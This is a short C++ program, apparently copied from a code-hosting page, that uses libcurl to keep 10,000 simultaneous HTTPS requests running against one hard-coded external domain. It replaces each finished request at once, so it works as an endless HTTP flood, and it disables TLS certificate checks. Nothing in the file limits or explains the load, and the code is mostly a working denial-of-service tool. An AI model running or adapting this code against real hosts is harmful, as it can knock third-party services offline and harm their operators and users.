65 lines
1.8 KiB
C++
65 lines
1.8 KiB
C++
#include <curl/curl.h>
|
|
#include <iostream>
|
|
#include <vector>
|
|
#include <string>
|
|
|
|
static const char* URL = "https://uibi-mu.click/uibi-mu";
|
|
static const int CONCURRENCY = 10000;
|
|
|
|
size_t write_callback(char* ptr, size_t size, size_t nmemb, void* userdata) {
|
|
return size * nmemb;
|
|
}
|
|
|
|
CURL* create_easy() {
|
|
CURL* easy = curl_easy_init();
|
|
curl_easy_setopt(easy, CURLOPT_URL, URL);
|
|
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_callback);
|
|
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
|
|
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
|
|
curl_easy_setopt(easy, CURLOPT_PRIVATE, easy);
|
|
return easy;
|
|
}
|
|
|
|
int main() {
|
|
curl_global_init(CURL_GLOBAL_DEFAULT);
|
|
|
|
CURLM* multi = curl_multi_init();
|
|
int still_running = 0;
|
|
|
|
for (int i = 0; i < CONCURRENCY; i++) {
|
|
CURL* easy = create_easy();
|
|
curl_multi_add_handle(multi, easy);
|
|
}
|
|
|
|
curl_multi_perform(multi, &still_running);
|
|
|
|
while (still_running) {
|
|
int numfds;
|
|
curl_multi_wait(multi, NULL, 0, 1000, &numfds);
|
|
curl_multi_perform(multi, &still_running);
|
|
|
|
CURLMsg* msg;
|
|
int msgs_left;
|
|
|
|
while ((msg = curl_multi_info_read(multi, &msgs_left))) {
|
|
if (msg->msg == CURLMSG_DONE) {
|
|
CURL* easy = msg->easy_handle;
|
|
|
|
long http_code = 0;
|
|
curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &http_code);
|
|
std::cout << "HTTP: " << http_code << std::endl;
|
|
|
|
curl_multi_remove_handle(multi, easy);
|
|
curl_easy_cleanup(easy);
|
|
|
|
CURL* new_easy = create_easy();
|
|
curl_multi_add_handle(multi, new_easy);
|
|
still_running++;
|
|
}
|
|
}
|
|
}
|
|
|
|
curl_multi_cleanup(multi);
|
|
curl_global_cleanup();
|
|
return 0;
|
|
} |